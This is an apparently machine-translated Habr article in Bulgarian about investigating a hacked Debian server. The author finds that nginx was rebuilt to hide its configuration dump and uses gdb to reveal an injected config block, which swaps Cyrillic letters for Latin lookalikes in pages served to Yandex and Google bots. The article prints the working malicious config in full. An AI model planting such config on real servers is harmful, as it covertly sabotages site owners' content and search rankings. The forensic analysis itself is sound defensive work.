Когато "а" не е равно на "а". По следите на хак

Много неприятна история се случи с един мой приятел. Но колкото и неприятно да се оказа за Михаил, за мен беше също толкова забавно.

Трябва да кажа, че моят приятел е доста UNIX-потребител: може сам да инсталира системата MySQL, PHP и правете прости настройки Nginx.
И той има дузина или един и половина уебсайтове, посветени на строителни инструменти.

Един от тези сайтове, посветени на верижни триони, седи твърдо в ТОП на търсачките. Този сайт е некомерсиален рецензент, но някой е придобил навика да го атакува. Че DDoS, след това груба сила, след това пишат нецензурни коментари и изпращат обиди към хостинга и към RKN.
Изведнъж всичко се успокои и това спокойствие не се оказа добро и сайтът започна постепенно да напуска първите редове на резултатите от търсенето.

Когато "а" не е равно на "а". В резултат на един хак

Това беше поговорка, след това самата история на администратора.

Наближаваше времето за лягане, когато телефонът иззвъня: „Сан, няма ли да погледнеш сървъра ми? Струва ми се, че бях хакнат, не мога да го докажа, но чувството не ме напуска вече трета седмица. Може би просто е време да се лекувам от параноя?“

Последва половинчасова дискусия, която може да се обобщи по следния начин:

  • почвата за хакерство беше доста плодородна;
  • нападателят може да получи права на суперпотребител;
  • атаката (ако се е състояла) е била насочена конкретно към този сайт;
  • проблемните зони са коригирани и просто трябва да разберете дали е имало проникване;
  • хакът не може да засегне кода на сайта и базите данни.

Относно последната точка.

Когато "а" не е равно на "а". В резултат на един хак

Само бялото IP лицево лице гледа към света. Няма обмен между бекенда и фронтенда освен http(s), потребителите/паролите са различни, не са разменени ключове. На сивите адреси всички портове с изключение на 80/443 са затворени. Белите IP адреси са известни само на двама потребители, на които Михаил има пълно доверие.

Инсталиран на фронтенда Debian 9 и до момента на обаждането системата е изолирана от света чрез външна защитна стена и спряна.

„Добре, дай ми достъп“, решавам да отложа съня за час. — Ще видя с очите си.

Тук и по-нататък:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Търся възможен хак

Стартирам сървъра, първи влизам спасителен режим. Монтирам дисковете и ги прелиствам автор-трупи, история, системни регистрационни файлове и т.н., ако е възможно, проверявам датите на създаване на файла, въпреки че разбирам, че нормален кракер би „помел“ след себе си, а Миша вече беше „потъпкал“ много, докато се търсеше .

Стартирам в нормален режим, все още не разбирам какво да търся, изучавам конфигурациите. Преди всичко се интересувам от Nginx тъй като като цяло няма нищо друго на фронтенда освен него.
Конфигурациите са малки, добре структурирани в дузина файлове, просто ги преглеждам коткао един по един. Всичко изглежда чисто, но никога не се знае дали съм пропуснал нещо include, позволете ми да направя пълен списък:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Не разбрах: „Къде е обявата?“

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Към въпроса за списъка се добавя втори въпрос: „Защо толкова древна версия на nginx?“

Освен това системата смята, че е инсталирана най-новата версия:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

викам:
- Миша, защо се събра отново Nginx?
- Чакай, дори не знам как да направя това!
- Добре, добре, заспивай...

Nginx той е ясно възстановен и изходът от списъка с помощта на „-T“ е скрит поради причина. Вече няма никакви съмнения за хакване и можете просто да го приемете и (тъй като Миша все пак смени сървъра с нов) да считате проблема за разрешен.

И наистина, тъй като някой получи правата корен'а, тогава има смисъл да се прави преинсталирайте системата, и беше безполезно да търсим какво не е наред там, но този път любопитството победи съня. Как можем да разберем какво са искали да скрият от нас?

Нека се опитаме да проследим:

$ strace nginx -T

Гледаме го, очевидно няма достатъчно линии в следата а ла

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Само за забавление, нека сравним констатациите.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Мисля, че част от кода /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

беше сведен до формата:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

или

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

следователно списъкът с "-T" не се показва.

Но как можем да видим нашата конфигурация?

Ако мисълта ми е вярна и проблемът е само в променливата ngx_dump_config нека се опитаме да го инсталираме с помощта на GDB, за щастие има ключ --with-cc-opt -g присъства и се надявам, че оптимизацията -O2 няма да ни нарани. В същото време, тъй като не знам как ngx_dump_config могат да бъдат обработени в случай "Т":, ние няма да извикаме този блок, а ще го инсталираме с помощта на случай 't':

Защо можете да използвате '-t', както и '-T'Блокова обработка ако (ngx_dump_config) случва вътре ако (ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Разбира се, ако кодът е променен в тази част, а не в случай "Т":, тогава моят метод няма да работи.

Тествайте nginx.confСлед като вече е решен проблемът експериментално, беше установено, че е необходима минимална конфигурация, за да работи зловредният софтуер Nginx Тип:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Ще го използваме за краткост в статията.

Стартирайте програмата за отстраняване на грешки

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Стъпка по стъпка:

  • задайте точка на прекъсване във функцията Основната ()
  • стартирайте програмата
  • променете стойността на променливата, която определя изхода на конфиг ngx_dump_config=1
  • продължаване/прекратяване на програмата

Както виждаме, истинската конфигурация се различава от нашата, ние избираме паразитна част от нея:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Нека да разгледаме по ред какво се случва тук.

Решен User-Agentyandex/google на:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Сервизните страници са изключени WordPress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

И за тези, които попадат и в двете горни условия

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

в текста HTML-промяна на страниците "О" на 'о' и "А" на "а":

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Точно така, единствената тънкост е това 'a' != 'a' както и 'o' != 'o':

Когато "а" не е равно на "а". В резултат на един хак

Така ботовете на търсачките получават вместо нормален текст на 100% кирилица, модифициран боклук, разреден с латиница "а" и 'о'. Не смея да обсъждам как това се отразява на SEO, но е малко вероятно такава бъркотия от букви да има положителен ефект върху позициите в резултатите от търсенето.

Какво да кажа, хора с въображение.

Позоваването

Отстраняване на грешки с GDB
gdb(1) — страница с ръководство за Linux
strace(1) — страница с ръководство за Linux
Nginx - Модул ngx_http_sub_module
За триони, моторни триони и електрически триони

Източник: www.habr.com

Добавяне на нов коментар